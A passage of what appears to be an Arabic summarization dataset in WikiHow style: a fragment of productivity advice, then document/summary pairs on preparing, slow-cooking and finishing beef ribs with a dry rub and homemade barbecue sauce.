وهدد نفسك بفعل لا ترغب فيه في حالة تقاعسك عن تحقيقه كأن تقوم بالتبرع لحملة تعارضها. في هذه الحالة ولضمان نتائج أفضل يجب أن تمنح سلطة الثواب والعقاب لصديق لن يجعلك تتراجع عن تلك القرارات. لا تحاول أن تفكر هل ما تقوم به الآن يزيد من انتاجيتك أم لا. افعل ذلك لاحقًا، احسب الوقت الذي مكثت فيه مركزًا تفكيرك ومجهودك في تأدية مهامك، راجع نفسك واعلم كيف كان التزامك بالخطة ودقة جدولك الزمني، سجل كل ما قام بتشتيتك وفكر في طرق لتحسين أداءك في المرة القادمة، لكن افعل كل ذلك لاحقًا أما الآن فركز كل مجهودك في فعل ما تقوم به. من الأفضل أن تحتفظ بمفكرة تكتب بها أي الأساليب نجحت معاك وأيها فشل مهما كانت تلك الأساليب بسيطة. افعل ذلك يوميًا. أكثر ما يقوم بتعطيلك عن الفعل هو قضاء الكثير من الوقت بحثًا عن ملفٍ ما أو البحث داخل صندوق بريدك الالكتروني للعثور على ميعاد مقابلة. أنشيء نظامًا قويًا لحفظ المعلومات وتخزين أدواتك وتسجيل مواعيدك لتسهيل العثور عليها لاحقًا.

english_section_name: Be Organized


summary: سخّن المشواه أو الفرن. غلف الضلوع. ابدأ في طهي الضلوع. تحقق من الضلوع.

document: تحتاج ضلوع اللحم إلى الطهي على درجة حرارة منخفضة وببطء، ويمكنك فعل ذلك سواءً في الفرن أو على المشواه. سخّنها إلى 107 درجة مئوية. إذا كنت ستقوم بالطهي على المشواه، يمكنك تدخين الضلوع عن طريق إضافة رقائق خشب التفاح إلى الفحم. اختر الجوزية أو البقان أو القيقب الحلو أو الكرز. غلفها جيدًا في عدة طبقاء من ورق الألومينيوم، مع التأكد من عدم وجود فتحات تسمح بتسرّب العصير. يمكنك وضع الضلوع المغلفة على صينية خبز إذا كنت قلقًا بشأن تناثر العصارة داخل الفرن. غلف الضلوع حتى تتمكن من فتح ورق الألومينيوم من الوجه للتأكد مما إذا كان قد نضج. لا تحتاج إلى فك تغليفه تمامًا، نظرًا لإمكانية سكب العصارة المتساقطة في كل مكان إذا فعلت ذلك. ضع اللحم مع الحرص على أن يكون اللحم على وجهه في الفرن أو على المشواه واغلق الباب أو الغطاء قم بطهي الضلوع لمدة 3 ساعات دون لمسها. خلال هذا الوقت، ستبدأ  العصارة في الخروج من اللحم وسيصبح اللحم طريًا ومليئًا بالعصارة. تأكد من بقاء درجة الحرارة على 107 درجة مئوية. إذا كان فرنك من النوع الذي يصبح ساخنًا أو باردًا، قد تحتاج إلى ضبطه أثناء عملية الطهي. إذا كنت تقوم بالشوي على المشواه، راقب درجة الحرارة عدّل الغاز حسب الحرارة. بعد حوالي 3 ساعات، قم بإزالة وجه ورق الألومينيوم وقم بوخز الضلوع بشوكة. إذا انزلق اللحم بسهولة عن العظام، هذا يعني أنه جاهز. إذا قاوم، استبدل ورق الألومينيوم ودع الضلوع تطهى لمدة ½ ساعة إضافية قبل التحقق منه مرة أخرى.

english_section_name: Cooking the Ribs

summary: قم بإزالة الغشاء. قرر كيفية تتبيل الضلوع.

document: للضلوع غشاء سميك يحتاج إلى إزالته قبل طهيها، وإلا ستصبح قاسية ويصعب مضغها. قم بتمرير أصابعك تحت الغشاء لإزالته، أو استخدم سكين أو مفك للمساعدة على تفكيكه. تخلص من الغشاء بعد إزالته مباشرًة.  تأكد من إزالة كل جزء من الغشاء، بما أنك لا تريد أجزاءً قاسية على ضلوعك. يمكنك أن تطلب من الجزار أن يقوم بإزالتها لك. يمكنك استخدام طريقة التوابل الجافة وترك التوابل تتخلل الضلوع ليلًا، أو تخطى تلك الخطوة وامسح اللحم بصلصة الباربكيو أثناء عملية الطهي. يدعي بعض الطهاه أن نقع اللحم مع التتبيلة لليلة كاملة يحسن الطعم، بينما يفضل البعض الآخر عدم تعزيز اللحم بالتوابل والملح. كلا الطريقتان يعطي لحم ضلوع ينزلق عن العظام وطريًا من الداخل ومقرمشًا من الخارج.  إذا كنت تستخدم توابل، تحتاج إلى التخطيط مسبقًا حتى يتسنى لك الوقت لترك الضلوع تنقع لليلة. فقط دلّك صفوف الضلوع على الوجهين بخلطة التوابل الجافة وغلفها بغلاف بلاستيكي واتركها في الثلاجة لليلة كاملة. اصنع تتبيلة جافة مصنوعة منزليًا باستخدام المكونات التالية:  3 ملاعق كبيرة ملح 2 ملعقة كبيرة مسحوق فلفل حار 1 ½ ملعقة صغيرة فلفل أسود 1 ملعقة صغيرة فلفل حريف 1 ملعقة صغيرة بابريكا مدخنة 1 ملعقة صغيرة زعتر مجفف 1 ملعقة صغيرة بودرة ثوم

english_section_name: Getting the Ribs Ready to Cook

summary: قم بإخراج الضلوع من الفرن أو المشواه. افتح ورق الألومينيوم وقم بإضافة صلصة الباربكيو. ضع الضلوع تحت المشواه. قم بإبعاد الضلوع عن الحرارة. قدم الضلوع.

document: عند وصولها إلى مرحلة الانزلاق عن العظام، أخرجها لتحضيرها للمرحلة التالية. حان وقت المرحلة النهائية من الطهي، وهي المرحلة التي ستضمن لك الحصول على طبقة خارجية مقرمشة للضلوع. إذا قمت بنقع الضلوع في تتبيلة جافة، يمكنك تخطي خطوة صلصة الباربكيو، لكن في كل الحالات يضفي ذلك طعمًا رائعًا على الضلوع. ادهن الطبقة العلوية من الضلوع بكمية وفيرة من صلصة الباربكيو. يمكنك خفق صلصة الباربكيو الخاصة بك عن طريق غلي المكونات التالية معًا لمدة 30 دقيقة مسبقًا:  1 1/2 كوب كاتشب 1/2 كوب سكر بني 3 فصوص ثوم مفرومة 3 ملعقة كبيرة خل تفاح 3ملعقة كبيرة صوص ورسيستيرشاير 1 ملعقة صغيرة فلفل أسود مطحون طازج 1/2 ملعقة صغيرة ملح دعها تنضج لمدة 10 دقائق إضافية تحت المشواه، أو حتى يتحول وجه الضلوع إلى اللون الذهبي المقرمش. ضعها على طبق لتبرد لعدة لحظات. الضلوع المشوية رائعة مع سلطة البطاطس وسلطة المكرونة والمزيد من صلصة الباربكيو

english_section_name: Finishing the Ribs